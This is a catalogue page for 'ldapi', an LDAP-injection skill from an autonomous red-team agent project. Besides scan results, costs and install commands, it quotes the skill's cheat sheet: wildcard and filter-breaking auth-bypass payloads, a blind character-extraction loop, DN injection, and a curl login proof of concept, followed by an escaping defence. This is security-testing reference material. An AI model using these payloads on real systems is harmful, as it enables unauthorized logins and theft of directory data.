Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill ldapigit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/ldapi)<a href="https://agentmods.dev/skills/purpleailab/decepticon/ldapi"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ldapi/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ldapi"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ldapi.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 62 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Agent Snooping · line 85 Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.Fix: Remove all code or instructions that list or read other skills' files or directories. Skills should operate independently; cross-skill access is a privilege escalation.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00023 | $0.00678 |
| Opus 5 | $0.00012 | $0.00339 |
| Sonnet 5 | $0.00005 | $0.00136 |
| Haiku 4.5 | $0.00002 | $0.00068 |
Grade A, and why
ldapi scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug Copies of this mod
1 near-identical copy found in the catalogue:
- ldapi — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 86 lines — stays where its author put it; the contents beside it link to each section on GitHub.
LDAP Injection
LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
1. Auth bypass
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
2. Blind extraction
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c
3. DN injection
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
ldapsearchto verify directly once you have any cred- Burp Intruder w/ payloads from
_corpus/payloads/LDAP Injection/
6. PoC
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
7. Severity
| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
8. Defender
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
Cross-references
- Upstream catalog:
skills/_corpus/payloads/LDAP Injection/ - AD attack patterns (different layer):
skills/ad/SKILL.md
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 86 lines · 23 tokens per session scan A 1c7aeb4a4ee0
ldapi is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 23 tokens to every session and 678 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
msbuild-antipatterns
Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
fastapi
FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.
dotnet-10-csharp-14
Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.
nodejs-core
Debugs native module crashes, optimizes V8 performance, configures node-gyp builds, writes N-API/node-addon-api bindings, and diagnoses libuv event loop issues in Node.js. Use when working with C++ addons, native modules, binding.gyp, node-gyp errors, segfaults, memory leaks in native code, V8…